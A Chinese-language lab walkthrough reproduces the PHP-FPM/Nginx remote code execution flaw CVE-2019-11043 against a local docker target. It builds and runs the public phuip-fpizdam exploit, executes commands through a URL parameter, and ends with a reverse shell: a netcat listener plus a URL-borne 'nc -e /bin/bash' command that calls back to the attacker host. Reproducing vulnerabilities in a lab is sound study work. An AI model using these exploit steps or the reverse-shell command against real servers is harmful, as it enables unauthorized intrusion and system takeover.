漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 fastcgi_split_path_info 对应的正则表达式,导致传递给 PHP-FPM 的 PATH_INFO 值为空,从而触发该漏洞,通过发送特制的URL请求,在一些特殊的配置情况下会导致任意代码执行。(当nginx配置不当时,会导致php-fpm远程任意代码执行。)
参考链接:https://blog.csdn.net/weixin_40412037/article/details/111224046
影响版本
1 | 无 |
利用条件
利用条件比较苛刻,如下图;
环境搭建
1. docker搭建;
1 | # centos 7 |
浏览器访问:http://192.168.220.132:8080
漏洞复现
在kali中安装go环境;
1 | cd /opt |
在kali中下载攻击脚本;
1 | git clone --depth=1 https://hub.fastgit.org/neex/phuip-fpizdam.git |
更换为国内源;
1 | go env -w GOPROXY=https://goproxy.cn,direct |
生成exp;
1 | cd phuip-fpizdam |
在kali的phuip-fpizdam目录下执行;
1 | ./phuip-fpizdam http://192.168.220.132:8080/index.php |
命令执行
用浏览器访问:http://192.168.220.132:8080?a=id
反弹shell
首先,bash反弹shell肯定是不能成功的~
所以,只能祈祷靶机中装有netcat。在docker中,进入到php:7.2.10-fpm环境,安装netcat,操作如下;
1 | [root@localhost CVE-2019-11043]# docker ps |
之后,在攻击机中率先执行nc -lvvp 2333
,浏览器再访问http://192.168.220.132:8080/?a=nc -e /bin/bash 192.168.220.138 2333